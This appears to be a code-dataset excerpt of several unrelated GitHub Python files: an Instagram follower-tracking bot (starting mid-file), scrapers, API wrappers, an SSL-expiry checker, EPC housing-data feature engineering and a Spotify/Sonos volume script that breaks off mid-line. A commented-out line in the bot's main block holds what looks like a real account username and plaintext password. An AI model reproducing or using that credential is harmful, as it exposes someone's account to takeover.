new_stoped=stopped_list[(pd.to_datetime(stopped_list.date)>startTime) & (stopped_list.iid_followed == user['id'])]\n dfSave(profile_list, follow_list, added_list, stopped_list, tgID)\n browser.close()\n return new_stoped\n \ndef getStpFollowings(tgID, username, startTime):\n global browser\n browser = start(tgID)\n profile_list, follow_list, added_list, stopped_list = dfLoad(tgID)\n profile_list, user = checkIfUsernameExist(profile_list,username)\n followers = fetchUserFollowing(user['id'])\n profile_list, follow_list, added_list, stopped_list = dfUpdateAll(profile_list, follow_list, added_list, stopped_list, followers, user['id'], target='following')\n new_stoping=stopped_list[(pd.to_datetime(stopped_list.date)>startTime) & (stopped_list.iid_following == user['id'])]\n dfSave(profile_list, follow_list, added_list, stopped_list, tgID)\n browser.close()\n return new_stoping\n\ndef translateDfToTxt(tgID, df, target=\"ing\"):\n statsDirPath = os.path.join(os.path.dirname(os.path.realpath(__file__)),\"tgWS/\"+tgID+\"/stats\") #cartella dove salvo i dataframe\n profile_list = pd.read_parquet(os.path.join(statsDirPath,\"profile\"))\n resp=\"\"\n if target == \"ed\":\n for elem in df.iid_following:\n tmp=dfGetProfileByID(profile_list, elem)\n resp+=tmp['username']+\"\\n\"\n else:\n for elem in df.iid_followed:\n tmp=dfGetProfileByID(profile_list, elem)\n resp+=tmp['username']+\"\\n\"\n return resp\n\n\n\n\nif __name__ == '__main__':\n #dfReset()\n #print(len(getNewFollowers(\"simone_mastella\")))\n #dfPrint()\n #browser = start(str(847459258),\"simone_mastella\",\"PolitoMerda00!\", forceLogin=True)\n #browser.close()\n new_stoping, new_stoped, new_adding, new_added = getALLFollowS(str(847459258),\"simone_mastella\",datetime.now())\n print(translateDfToTxt(str(847459258),new_adding ))\n \n #dfPrint()\n \n\n #dfReset()\n #profile_list, follow_list, added_list, stopped_list = dfLoad(tgID)\n \n #username = 'simone_mastella'\n #print(dfGetProfileByID(profile_list,'10620577766'))\n \n #print(dfGetProfileByUsername(profile_list,\"simone_mastella\"))\n #profile_list, user=checkIfUsernameExist(profile_list,username)\n \n \n\n #restituisce un dataframe con la lista dei nomi \n #dfGetFollowingsUsername(profile_list,follow_list,user['username'])\n\n #restituisce un dataframe con la lista dei nomi \n #dfGetFollowersUsername(profile_list,follow_list,user['username'])\n\n #scrappa e aggiorna i following\n #followers = fetchUserFollowing(user['id'])\n #profile_list, follow_list, added_list, stopped_list = dfUpdateAll(profile_list, follow_list, added_list, stopped_list, followers, user['id'], target='following')\n\n #scrappa e aggiorna i follower\n #followers = fetchUserFollower(user['id'])\n #profile_list, follow_list, added_list, stopped_list = dfUpdateAll(profile_list, follow_list, added_list, stopped_list, followers, user['id'], target='follower')\n \n #dfSave(profile_list, follow_list, added_list, stopped_list)\n #dfPrint()\n ","repo_name":"octafox/InstaBot","sub_path":"instApi.py","file_name":"instApi.py","file_ext":"py","file_size_in_byte":13063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13343390234","text":"import requests\nfrom bs4 import BeautifulSoup\nimport json\n\nurl = 'https://zh.wikipedia.org/wiki/Category:1995%E5%B9%B4%E5%8F%91%E7%8E%B0%E7%9A%84%E5%B0%8F%E8%A1%8C%E6%98%9F'\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.text, 'lxml')\n\nasteroids = []\nfor link in soup.find_all('a'):\n if link.has_attr('href') and link['href'].startswith('/wiki/'):\n name = link.text\n page_url = 'https://zh.wikipedia.org' + link['href']\n page_response = requests.get(page_url)\n page_content = BeautifulSoup(page_response.text, 'lxml').find('div', id='mw-content-text')\n content = page_content.text.strip()\n asteroid = {\n 'name': name,\n 'link': page_url,\n 'content': content\n }\n asteroids.append(asteroid)\n\nwith open('1995asteroids.json', 'w') as f:\n json.dump(asteroids, f, ensure_ascii=False, indent=4)\n\n","repo_name":"Crescent617/code-practice","sub_path":"py/misc/asteroid.py","file_name":"asteroid.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40580173022","text":"import random\r\nf=open('datos.txt', 'w')\r\nfor x in range(12):\r\n m=round(random.uniform(0.0,15.0),1)\r\n f.write(f\"{m}\")\r\n if (x+1) < 12:\r\n f.write(\"\\n\")\r\nf.close();\r\n\r\n\r\n","repo_name":"alejandramunoz06/ADM_Y_ORG_DAT","sub_path":"PROYECTOC1/G.PY","file_name":"G.PY","file_ext":"py","file_size_in_byte":183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36378107886","text":"import logging as logger\nimport os\nimport requests\n\n\nclass DnnScripts:\n\n def __init__(self, server):\n self.server = server\n\n def create(self, name, inputfile):\n \"\"\" Create a new Dnn script.\n\n :param name -- name for the new dnn script\n :param inputfile -- input zip file for custom asset\n \"POST /dnn-scripts\" API documentation for details\"\"\"\n\n uri = \"/dnn-scripts\"\n payload = {'name': name}\n files = {'file': inputfile}\n\n return self.server.post(uri, files=files, data=payload)\n\n def report(self, **kwargs):\n \"\"\" Get a list of all dnn scripts\n\n :param kwargs -- query parameters for \"GET /dnn-scripts\" See the API\n documentation for more information \"\"\"\n\n uri = \"/dnn-scripts\"\n return self.server.get(uri, params=kwargs)\n\n def update(self, dnnid, **kwargs):\n \"\"\" Change metadata of a dataset\n\n :param dnnid -- UUID of the targeted DNN script\n :param kwargs -- optional fields for the update payload. See the API\n documentation for \"PUT /dnn-scripts/{dnn_id}\" for more\n information\"\"\"\n\n uri = f\"/dnn-scripts/{dnnid}\"\n inputfile = kwargs[\"inputfile\"]\n description = kwargs[\"description\"]\n newname = kwargs[\"newname\"]\n files = {'file': inputfile}\n payload = {}\n if newname != \"\":\n payload[\"name\"] = newname\n if description != \"\":\n payload[\"description\"] = description\n return self.server.put(uri, files=files, data=payload)\n\n def delete(self, dnnid):\n \"\"\" Delete the indicated DNN script\n\n :param dnnid -- UUID of the targeted DNN script\"\"\"\n\n uri = f\"/dnn-scripts/{dnnid}\"\n response = self.server.delete(uri)\n return response\n\n def show(self, dnnname):\n \"\"\" Get details of the indicated Dnn Script\n\n :param dnnname -- Name of the targeted DNN script\"\"\"\n\n uri = f\"/dnn-scripts/{dnnname}\"\n return self.server.get(uri)\n\n","repo_name":"IBM/vision-tools","sub_path":"lib/vapi/DnnScripts.py","file_name":"DnnScripts.py","file_ext":"py","file_size_in_byte":2092,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"21"} +{"seq_id":"1574355092","text":"#!/usr/bin/env python\n# -*- coding=utf-8 -*-\n\n\"\"\"\nAuthor: Rosen\nMail: rosenluov@gmail.com\nFile: ssl_expiry_check.py\nCreated Time: Tue Nov 26 16:26:59 2019\n\"\"\"\n\nimport socket\nimport time\nimport ssl\nimport datetime\nimport json\n\ndomain_list = '''\nwww.example1.com\nwww.example2.com\n'''\n\n\ndef ssl_expiry_datetime(hostname):\n ssl_date_fmt = r'%b %d %H:%M:%S %Y %Z'\n\n context = ssl.create_default_context()\n conn = context.wrap_socket(\n socket.socket(socket.AF_INET),\n server_hostname=hostname,\n )\n conn.settimeout(3.0)\n\n conn.connect((hostname, 443))\n ssl_info = conn.getpeercert()\n return datetime.datetime.strptime(ssl_info['notAfter'], ssl_date_fmt)\n\n\ndef ssl_valid_time_remaining(hostname):\n expires = ssl_expiry_datetime(hostname)\n return expires - datetime.datetime.now()\n\n\ndef check_push_falcon():\n hostname = socket.gethostname()\n ts = int(time.time())\n metric = 'ssl_expires'\n falcon_data = [\n {\n 'endpoint': hostname,\n 'metric': metric,\n 'timestamp': ts,\n 'value': ssl_valid_time_remaining(domain).days,\n 'counterType': 'GAUGE',\n 'tags': 'domain=%s' % domain,\n 'step': 60\n }\n for domain in domain_list.split('\\n')\n if domain\n ]\n print(json.dumps(falcon_data))\n\n\nif __name__ == '__main__':\n check_push_falcon()\n","repo_name":"rosenlo/scripts","sub_path":"ssl_expiry_check.py","file_name":"ssl_expiry_check.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70083650348","text":"n, k = list(map(int, input().split()))\n\nres = list()\n\nfk = k % 10\nf2k = (k * 2) % 10\n\nfor i in range(1, n + 1):\n if i % 10 != fk and i % 10 != f2k:\n res.append(i)\n\nprint(len(res))\nfor i in res:\n print(i, end=\" \")\nprint()\n\n","repo_name":"jeongth9446/problem-solving","sub_path":"acmicpc/python/21603_K K2 게임.py","file_name":"21603_K K2 게임.py","file_ext":"py","file_size_in_byte":235,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"74465004906","text":"# File: asf_core_data/pipeline/preprocessing/feature_engineering.py\n\"\"\"\nAdding new features to EPC dataset.\n\nFEATURE ENGINEERING GUIDELINES\n------------------------------\n\nFeel free to add any functions for engineering new features.\nMake sure to group similar new featues within one function and\nto get_additional_features() in order to take effect in the next run.\n\n\"\"\"\n\n# ----------------------------------------------------------------------------------\n\n# Import\nimport pandas as pd\nimport numpy as np\n\nfrom hashlib import md5\n\nfrom asf_core_data.getters.supplementary_data.geospatial import coordinates\nfrom asf_core_data.pipeline.preprocessing.data_cleaning import reformat_postcode\nfrom asf_core_data.pipeline.mcs.process.process_mcs_utils import remove_punctuation\n\n# ----------------------------------------------------------------------------------\n\nother_heating_system = [\n \"boiler and radiator\",\n \"boiler and underfloor\",\n \"community scheme\",\n \"heater\", # not specified heater\n]\n\nother_hp_expressions = [\n \"heat pump\",\n \"pumpa teas\",\n \"pwmp gwres\", # starts with p\n \"bwmp gwres\", # different from above, starts with b\n \"pympiau gwres\", # starts with p\n \"bympiau gwres\", # different from above, starts with b\n]\n\n# ----------------------------------------------------------------------------------\n\n\ndef prepare_address_data(address_1: str, address_2: str, postcode: str) -> str:\n \"\"\"\n Prepares address and postcode information by removing removing punctuation,\n removing leading and trailing whitespace and standardising postcodes.\n\n Args:\n address_1: first line of address (e.g. \"Flat 1\")\n address_2: second line of address (e.g. \"ABC road\")\n postcode: full postcode (e.g. \"AB2 Y8X\")\n\n\n Returns:\n A string with processed address_1, address_2 and postcode information,\n e.g. \"flat 1 abc road_AB2Y8X\"\n \"\"\"\n address_1 = remove_punctuation(address_1).lower().strip()\n address_2 = remove_punctuation(address_2).lower().strip()\n postcode = postcode.upper().replace(\" \", \"\")\n\n address_info = (address_1 + \" \" + address_2).strip()\n\n return \"_\".join([address_info, postcode])\n\n\ndef concatenate_building_with_address_info(\n building_reference: str, address_info: str\n) -> str:\n \"\"\"\n Concatenates building reference number with address information.\n\n Args:\n building_reference: building reference number, e.g. 1234\n address_info: address information, e.g. \"flat 1 abc road_AB2Y8X\"\n\n Returns:\n A string with concatenated building reference and address info (e.g. \"1234_flat 1 abc road_AB2Y8X\")\n \"\"\"\n return str(building_reference) + \"_\" + address_info\n\n\ndef enhance_uprn(df: pd.DataFrame) -> pd.DataFrame:\n \"\"\"\n Enhances UPRN by filling missing information with known UPRN (if available)\n or a new property identifier built from the BUILDING_REFERENCE_NUMBER and\n full adress information.\n\n Args:\n df: EPC dataframe\n\n Returns:\n EPC dataframe with enhanced UPRN.\n \"\"\"\n\n # Concatenate ADDRESS1, ADDRESS2 and POSTCODE into one variable\n df[\"address_info\"] = df.apply(\n lambda x: prepare_address_data(x[\"ADDRESS1\"], x[\"ADDRESS2\"], x[\"POSTCODE\"]),\n axis=1,\n )\n\n # Building a new identifier using the building reference number and address info (including postcode)\n df[\"new_property_identifier\"] = df.apply(\n lambda x: concatenate_building_with_address_info(\n x[\"BUILDING_REFERENCE_NUMBER\"], x[\"address_info\"]\n ),\n axis=1,\n )\n\n # Creating a mapping between new identifier and existing UPRNs\n epc_with_uprn = df[~pd.isnull(df[\"UPRN\"])][[\"UPRN\", \"new_property_identifier\"]]\n mapping = epc_with_uprn.drop_duplicates([\"UPRN\", \"new_property_identifier\"])\n\n # If a specific new identifier has 2 or more corresponding UPRNs we filter it out from the mapping\n mapping = mapping[~mapping[\"new_property_identifier\"].duplicated(keep=False)]\n mapping.set_index(\"new_property_identifier\", inplace=True)\n mapping = mapping.to_dict()[\"UPRN\"]\n\n # Create an enhanced UPRN variable from the mapping above\n df[\"UPRN_enhanced\"] = df[\"new_property_identifier\"].map(mapping)\n\n # Filling any missing values with existing UPRN values, i.e. for cases when\n # the new identifier was mapping to multiple different UPRNs\n df[\"UPRN_enhanced\"].fillna(df[\"UPRN\"], inplace=True)\n\n # For properties not accounted above, use the new property identifier\n df[\"UPRN_enhanced\"].fillna(df[\"new_property_identifier\"], inplace=True)\n\n # Dropping unecessary variables\n df.drop(columns=[\"UPRN\", \"new_property_identifier\"], inplace=True)\n\n # Renaming new UPRN variable\n df.rename(columns={\"UPRN_enhanced\": \"UPRN\"}, inplace=True)\n\n return df\n\n\ndef short_hash(text):\n \"\"\"Generate a unique short hash for given string.\n Legacy code. No longer used in newer versions.\n\n Args:\n text (str): String for which to get ID.\n\n Returns:\n int: Unique ID.\n \"\"\"\n\n hx_code = md5(text.encode()).hexdigest()\n int_code = int(hx_code, 16)\n short_code = str(int_code)[:16]\n return int(short_code)\n\n\ndef get_unique_building_id(df, short_code=False):\n \"\"\"Add unique building ID column to dataframe.\n Legacy code. No longer used in newer versions.\n\n Args:\n df (str): String for which to get ID.\n short_code (bool, optional): Whether to add additional feature with short unique code. Defaults to False.\n\n Returns:\n str: Unique ID.\n \"\"\"\n\n if (\"ADDRESS1\" not in df.columns) or (\"POSTCODE\" not in df.columns):\n return df\n\n # Remove samples with no address\n df.dropna(subset=[\"ADDRESS1\"], inplace=True)\n\n # Create unique address and building ID\n df[\"BUILDING_ADDRESS_ID\"] = df[\"ADDRESS1\"].str.upper() + df[\"POSTCODE\"].str.upper()\n\n if short_code:\n df[\"BUILDING_ADDRESS_ID\"] = df[\"BUILDING_ADDRESS_ID\"].apply(short_hash)\n\n return df\n\n\ndef get_new_epc_rating_features(df):\n \"\"\"Get new EPC rating features related to EPC ratings\n\n CURR_ENERGY_RATING_NUM: EPC rating representeed as number\n high number = high rating.\n\n ENERGY_RATING_CAT: EPC range category.\n A-B, C-D or E-G\n\n DIFF_POT_ENERGY_RATING: Difference potential and current\n energy rating.\n\n Args:\n df (pandas.DataFrame): EPC dataframe.\n\n Returns:\n pandas.DataFrame: Updated EPC dataframe with new EPC rating features.\n \"\"\"\n\n # EPC rating dict\n rating_dict = {\n \"A\": 7,\n \"B\": 6,\n \"C\": 5,\n \"D\": 4,\n \"E\": 3,\n \"F\": 2,\n \"G\": 1,\n \"unknown\": float(\"NaN\"),\n }\n\n # EPC range cat dict\n EPC_cat_dict = {\n \"A\": \"A-B\",\n \"B\": \"A-B\",\n \"C\": \"C-D\",\n \"D\": \"C-D\",\n \"E\": \"E-G\",\n \"F\": \"E-G\",\n \"G\": \"E-G\",\n \"unknown\": \"unknown\",\n }\n\n if \"CURRENT_ENERGY_RATING\" not in df.columns:\n return df\n\n # EPC rating in number instead of letter\n df[\"CURR_ENERGY_RATING_NUM\"] = df.CURRENT_ENERGY_RATING.map(rating_dict)\n\n # EPC rating in category (A-B, C-D or E-G)\n df[\"ENERGY_RATING_CAT\"] = df.CURRENT_ENERGY_RATING.map(EPC_cat_dict)\n\n if \"POTENTIAL_ENERGY_RATING\" in df.columns:\n # Numerical difference between current and potential energy rating (A-G)\n df[\"DIFF_POT_ENERGY_RATING\"] = (\n df.POTENTIAL_ENERGY_RATING.map(rating_dict) - df[\"CURR_ENERGY_RATING_NUM\"]\n )\n # Filter out unreasonable values (below 0 and above 7)\n df.loc[\n ((df.DIFF_POT_ENERGY_RATING < 0.0) | (df.DIFF_POT_ENERGY_RATING > 7)),\n \"DIFF_POT_ENERGY_RATING\",\n ] = np.nan\n\n return df\n\n\ndef map_quality_to_score(df, list_of_features):\n \"\"\"Map quality string tag (e.g. 'very good') to score and add it as a new feature.\n\n Args:\n df ( pandas.DataFrame): Dataframe to update with quality score.\n list_of_features (list): A list of dataframe features to update.\n\n\n Returns:\n pandas.DataFrame: Updated dataframe with new score features.\n \"\"\"\n\n quality_to_score_dict = {\n \"Very Good\": 5.0,\n \"Good\": 4.0,\n \"Average\": 3.0,\n \"Poor\": 2.0,\n \"Very Poor\": 1.0,\n }\n\n for feature in list_of_features:\n df[feature + \"_AS_SCORE\"] = df[feature].map(quality_to_score_dict)\n\n return df\n\n\ndef map_rating_to_cat(rating):\n \"\"\"Map EPC rating in numbers (between 1.0 and 7.0) to EPC category range.\n\n Args:\n rating (float): EPC rating - usually average scores.\n\n Returns:\n str: EPC category range, e.g. A-B.\n \"\"\"\n\n if rating < 2.0:\n return \"F-G\"\n elif rating >= 2.0 and rating < 3.0:\n return \"E-F\"\n elif rating >= 3.0 and rating < 4.0:\n return \"D-E\"\n elif rating >= 4.0 and rating < 5.0:\n return \"C-D\"\n elif rating >= 5.0 and rating < 6.0:\n return \"B-C\"\n elif rating >= 6.0 and rating < 7.0:\n return \"A-B\"\n\n\ndef get_heating_system(mainheat_description: str) -> str:\n \"\"\"\n Extracts heating system from MAINHEAT_DESCRIPTION.\n\n Args:\n mainheat_description: EPC's MAINHEAT_DESCRIPTION value\n Returns:\n Property's heating system information.\n \"\"\"\n if pd.isnull(mainheat_description):\n return \"unknown\"\n else:\n heating = mainheat_description.lower()\n heating = heating.replace(\" & \", \" and \")\n\n if (\"ground source heat pump\" in heating) or (\n \"ground sourceheat pump\" in heating\n ):\n return \"ground source heat pump\"\n\n elif (\"air source heat pump\" in heating) or (\"air sourceheat pump\" in heating):\n return \"air source heat pump\"\n\n elif \"water source heat pump\" in heating:\n return \"water source heat pump\"\n\n elif \"community heat pump\" in heating:\n return \"community heat pump\"\n\n elif any(hp_expression in heating for hp_expression in other_hp_expressions):\n return \"heat pump\"\n\n elif \"warm air\" in heating:\n return \"warm air\"\n\n elif \"electric storage heaters\" in heating:\n return \"storage heater\"\n\n elif \"electric underfloor heating\" in heating:\n return \"underfloor heating\"\n\n elif (\"boiler and radiator\" in heating) and (\n \"boiler and underfloor\" in heating\n ):\n return \"boiler, radiator and underfloor\"\n\n elif any(exp in heating for exp in other_heating_system):\n # If heating system word is found, save respective system type\n for word in other_heating_system:\n if word in heating:\n return word\n\n return \"unknown\"\n\n\ndef get_heating_fuel(mainheat_description: str) -> str:\n \"\"\"\n Extracts heating fuel from MAINHEAT_DESCRIPTION.\n\n Args:\n mainheat_description: EPC's MAINHEAT_DESCRIPTION value\n Returns:\n Property's heating fuel information.\n \"\"\"\n if pd.isnull(mainheat_description):\n return \"unknown\"\n else:\n heating = mainheat_description.lower()\n heating = heating.replace(\" & \", \" and \")\n\n if (\"ground source heat pump\" in heating) or (\n \"ground sourceheat pump\" in heating\n ):\n return \"electric\"\n\n elif (\"air source heat pump\" in heating) or (\"air sourceheat pump\" in heating):\n return \"electric\"\n\n elif \"water source heat pump\" in heating:\n return \"electric\"\n\n elif \"community heat pump\" in heating:\n return \"electric\"\n\n elif any(hp_expression in heating for hp_expression in other_hp_expressions):\n return \"electric\"\n\n elif \"warm air\" in heating:\n return \"electric\"\n\n elif \"electric storage heaters\" in heating:\n return \"electric\"\n\n elif \"electric underfloor heating\" in heating:\n return \"electric\"\n\n elif any(exp in heating for exp in other_heating_system):\n # Set heating source dict\n heating_source_dict = {\n \"gas\": \"gas\",\n \", oil\": \"oil\", # with preceeding comma (!= \"boiler\")\n \"lpg\": \"LPG\",\n \"electric\": \"electric\",\n }\n\n # If heating source word is found, save respective source type\n for word, source in heating_source_dict.items():\n if word in heating:\n return source\n\n return \"unknown\"\n\n\ndef get_heating_features(df, fine_grained_HP_types=False):\n \"\"\"Updates EPC df with heating features:\n HEATING_SYSTEM: heat pump, boiler, community scheme, etc.\n HP_INSTALLED: True if heat pump as heating system, False if not;\n HEATING_FUEL: oil, gas, LPC, electric, etc.\n HP_TYPE: heat pump type when applicable (\"air source heat pump\", etc. and \"No HP\" if no heat pump as heating system),\n\n Args:\n df (pandas.DataFrame): EPC dataframe that is updated with heating features.\n fine_grained_HP_types (bool, optional):\n If True, HEATING_SYSTEM will contain detailed heat pump types (air sourced, ground sourced etc.).\n If False, return \"heat pump\" as heating type category. Defaults to False.\n Returns:\n pandas.DataFrame: Updated dataframe with heating system and source.\n \"\"\"\n\n if \"MAINHEAT_DESCRIPTION\" not in df.columns:\n return df\n\n df[\"HEATING_SYSTEM\"] = df[\"MAINHEAT_DESCRIPTION\"].apply(get_heating_system)\n df[\"HP_INSTALLED\"] = np.where(\n df[\"HEATING_SYSTEM\"].str.contains(\"heat pump\"), True, False\n )\n df[\"HEATING_FUEL\"] = df[\"MAINHEAT_DESCRIPTION\"].apply(get_heating_fuel)\n df[\"HP_TYPE\"] = np.where(df[\"HP_INSTALLED\"], df[\"HEATING_SYSTEM\"], \"No HP\")\n\n if not fine_grained_HP_types:\n df[\"HEATING_SYSTEM\"] = np.where(\n df[\"HEATING_SYSTEM\"].str.contains(\"heat pump\", case=False),\n \"heat pump\",\n df[\"HEATING_SYSTEM\"],\n )\n\n # Also consider SECONDHEAT_DESCRIPTION and other languages\n df[\"HP_INSTALLED\"] = np.where(\n (df[\"HP_INSTALLED\"])\n | (df[\"SECONDHEAT_DESCRIPTION\"].str.contains(\"heat pump\", case=False))\n | (df[\"SECONDHEAT_DESCRIPTION\"].str.contains(\"pumpa teas\", case=False))\n | (df[\"SECONDHEAT_DESCRIPTION\"].str.contains(\"pwmp gwres\", case=False))\n | (df[\"SECONDHEAT_DESCRIPTION\"].str.contains(\"bwmp gwres\", case=False))\n | (df[\"SECONDHEAT_DESCRIPTION\"].str.contains(\"pympiau gwres\", case=False))\n | (df[\"SECONDHEAT_DESCRIPTION\"].str.contains(\"bympiau gwres\", case=False)),\n True,\n False,\n )\n\n # Update HP_TYPE, HEATING_SYSTEM and HEATING_FUEL after the changes to HP_INSTALLED\n df[\"HEATING_SYSTEM\"] = np.where(\n df[\"HP_INSTALLED\"] & (df[\"HP_TYPE\"] == \"No HP\"),\n \"heat pump\",\n df[\"HEATING_SYSTEM\"],\n )\n df[\"HEATING_FUEL\"] = np.where(\n df[\"HP_INSTALLED\"] & (df[\"HP_TYPE\"] == \"No HP\"), \"electric\", df[\"HEATING_FUEL\"]\n )\n df[\"HP_TYPE\"] = np.where(\n df[\"HP_INSTALLED\"] & (df[\"HP_TYPE\"] == \"No HP\"), \"heat pump\", df[\"HP_TYPE\"]\n )\n\n return df\n\n\ndef get_postcode_coordinates(df, postcode_field_name=\"POSTCODE\"):\n \"\"\"Add coordinates (longitude and latitude) to the dataframe\n based on the postcode.\n\n Args:\n df (pandas.DataFrame): EPC dataframe.\n postcode_field_name: Field name for postcode. Defaults to 'POSTCODE'.\n\n Returns:\n pandas.DataFrame: Same dataframe with longitude and latitude columns added.\n \"\"\"\n\n # Get postcode/coordinates\n postcode_coordinates_df = coordinates.get_postcode_coordinates(\n desired_postcode_name=postcode_field_name\n )\n\n # Reformat POSTCODE\n postcode_coordinates_df = reformat_postcode(\n postcode_coordinates_df,\n postcode_var_name=postcode_field_name,\n white_space=\"remove\",\n )\n df = reformat_postcode(df, white_space=\"remove\")\n\n # Merge with location data\n df = pd.merge(df, postcode_coordinates_df, on=postcode_field_name, how=\"left\")\n\n return df\n\n\ndef get_building_entry_feature(df, feature):\n \"\"\"Create feature that shows number of entries for any given building\n based on BUILDING_REFERENCE_NUMBER or BUILDING_ID.\n\n Args:\n df (pandas.DataFrame): EPC dataframe.\n feature (str): Feature by which to count building entries.\n Needs to be \"BUILDING_REFERNCE_NUMBER\" or \"BUILDING_ID\" or \"UPRN\".\n\n Returns:\n pandas.DataFrame: EPC dataframe with # entry feature.\n \"\"\"\n\n # Catch invalid inputs\n if feature not in [\"BUILDING_REFERENCE_NUMBER\", \"BUILDING_ID\", \"UPRN\"]:\n raise IOError(\"Feature '{}' is not a valid feature.\".format(feature))\n\n feature_name_dict = {\n \"BUILDING_REFERENCE_NUMBER\": \"N_ENTRIES\",\n \"BUILDING_ID\": \"N_ENTRIES_BUILD_ID\",\n \"UPRN\": \"N_SAME_UPRN_ENTRIES\",\n }\n\n # Get name of new feature\n new_feature_name = feature_name_dict[feature]\n\n df[new_feature_name] = df[feature].map(dict(df.groupby(feature).size()))\n\n return df\n\n\ndef get_additional_features(df):\n \"\"\"Add new features to the EPC dataset.\n The new features include information about the inspection and entry date,\n building references, fine-grained heating system features and differences in EPC ratings.\n\n Args:\n df (pandas.DataFrame): EPC dataframe.\n\n Returns:\n pandas.DataFrame: Updated dataframe with new features.\n \"\"\"\n\n df = enhance_uprn(df)\n df = get_unique_building_id(df)\n df = get_building_entry_feature(df, \"UPRN\")\n\n df = get_heating_features(df)\n df = get_new_epc_rating_features(df)\n\n return df\n","repo_name":"nestauk/asf_core_data","sub_path":"asf_core_data/pipeline/preprocessing/feature_engineering.py","file_name":"feature_engineering.py","file_ext":"py","file_size_in_byte":17628,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"390424797","text":"import spotipy\nfrom spotipy.client import Spotify\nfrom spotipy.oauth2 import SpotifyOAuth\nfrom dotenv import load_dotenv\nimport os\nfrom tinydb import TinyDB, Query\nimport soco\nfrom soco import SoCo\nimport time\nimport json\n\n\nclass VolumeChecker:\n\n def __init__(self, spotify: Spotify, sonosZoneName: str):\n self.db = TinyDB('db.json')\n self.spotify = spotify\n self.sonosZone: SoCo = self.getSonosZone(sonosZoneName)\n self.currentTrackId: str = None\n self.lastVolume = self.sonosZone.volume\n track = self.getCurrentlyPlaying()\n if (track is not None):\n trackId = track['item']['id']\n self.currentTrackId = trackId\n loudness = self.getLoudness(trackId)\n self.desiredVolume = round(self.sonosZone.volume + loudness)\n else:\n print(\"no track playing now\")\n self.currentTrackId = None\n self.desiredVolume = round(self.sonosZone.volume - 10)\n print(f'Init: Desired volume= {self.desiredVolume}, '\n f'starting sonos vol={self.lastVolume}')\n\n def getLoudness(self, trackId: str):\n q = Query()\n results = self.db.table('tracks').search(q.trackId == trackId)\n if (len(results) > 0):\n return results[0][\"loudness\"]\n else:\n print(\"non-cached track: hitting audio analysis api\")\n analysis = self.spotify.audio_analysis(trackId)\n loudness = analysis['track']['loudness']\n self.db.table('tracks').insert(\n {\"trackId\": trackId, \"loudness\": loudness})\n return loudness\n\n def getPlaylist(self, playlistId: str):\n return self.spotify.playlist(playlistId)\n\n def getTrack(self, trackId: str):\n return self.spotify.track(trackId)\n\n def getCurrentlyPlaying(self):\n return self.spotify.currently_playing()\n\n def getSonosZone(self, sonosZoneName: str) -> SoCo:\n myzone: SoCo = None\n try:\n zones = soco.discover()\n myzone: SoCo = list(filter(\n lambda x: x.player_name == sonosZoneName, zones))[0]\n self.db.table(\"ips\").truncate()\n self.db.table(\"ips\").insert({\"ip\": myzone.ip_address})\n except Exception as ex:\n print(f'Error with discovery, probably vpn: {ex}')\n ips = self.db.table(\"ips\").all()\n if (len(ips) == 1):\n myzone = SoCo(ips[0][\"ip\"])\n else:\n print(\"No cached entry for zone, can't discover\")\n print(f'Found {myzone.player_name} :: {myzone.volume}')\n return myzone\n\n def checkIfUserChangedVolume(self):\n if (self.lastVolume != self.sonosZone.volume):\n delta = self.sonosZone.volume - self.lastVolume\n self.desiredVolume = self.desiredVolume + delta\n self.lastVolume = self.sonosZone.volume\n print(f'changed desired volume by {delta} to now: '\n f'{self.desiredVolume}')\n\n def adjustVolume(self):\n state = self.sonosZone.get_current_transport_info()\n if (state is not None\n and state['current_transport_state'] == 'PLAYING'):\n print('.', end='', flush=True)\n self.checkIfUserChangedVolume()\n\n track = self.getCurrentlyPlaying()\n if (track is not None):\n trackId = track['item']['id']\n if (self.currentTrackId != trackId):\n self.currentTrackId = trackId\n print(f'new track: {trackId} : {track[\"item\"][\"name\"]}')\n loudness = self.getLoudness(trackId)\n self.lastVolume = round(self.desiredVolume - loudness)\n print(f'track loudness = {loudness}, '\n f'desired = {self.desiredVolume}, '\n f'old vol = {self.sonosZone.volume}, '\n f'setting vol to {self.lastVolume}')\n self.sonosZone.volume = self.lastVolume\n else:\n print('/', end='', flush=True)\n\n\ndef spotifyScratch():\n authMgr = SpotifyOAuth(client_id=os.environ.get(\"CLIENT_ID\"),\n client_secret=os.environ.get(\"CLIENT_SECRET\"),\n redirect_uri=\"http://127.0.0.1:4356\",\n scope=\"user-read-currently-playing \"\n \"user-library-read\"\n )\n\n checker = VolumeChecker(\n spotipy.Spotify(auth_manager=authMgr),\n os.environ.get(\"SONOS_ZONE\")\n )\n\n while True:\n checker.adjustVolume()\n time.sleep(2)\n\n # track = checker.getCurrentlyPlaying()\n # print(json.dumps(track))\n # results = sp.current_user_saved_tracks()\n # for idx, item in enumerate(results['items']):\n # track = item['track']\n # print(idx, track['artists'][0]['name'], \" – \", track['name'])\n # kaiPlaylistId =\n # playlist = checker.getPlaylist(kaiPlaylistId)\n # songs = playlist['tracks']['items']\n # song = songs[0]\n\n # for song in songs:\n # #track = checker.getTrack(song['track']['id'])\n # #print (track['name'])\n # loudness = checker.getLoudness(song['track']['id'])\n # print (f'{song[\"track\"][\"name\"]} :: {loudness}' )\n # track = checker.getCurrentlyPlaying()\n # print (\"*************************\")\n # #print (track)\n # name = track['item']['name']\n # id = track['item']['id']\n # print (name)\n # loudness = checker.getLoudness(track['item']['id'])\n # print (loudness)\n # analysis = sp.audio_analysis(track['item']['id'])\n # print (analysis['track']['loudness'])\n # print (\"****************\")\n # print (analysis)\n\n\ndef sonosScratch():\n print(\"sonos\")\n zones = soco.discover()\n myzone: SoCo = list(filter(\n lambda x: x.player_name == os.environ.get(\"SONOS_ZONE\"),\n zones))[0]\n print(f'{myzone.player_name} :: 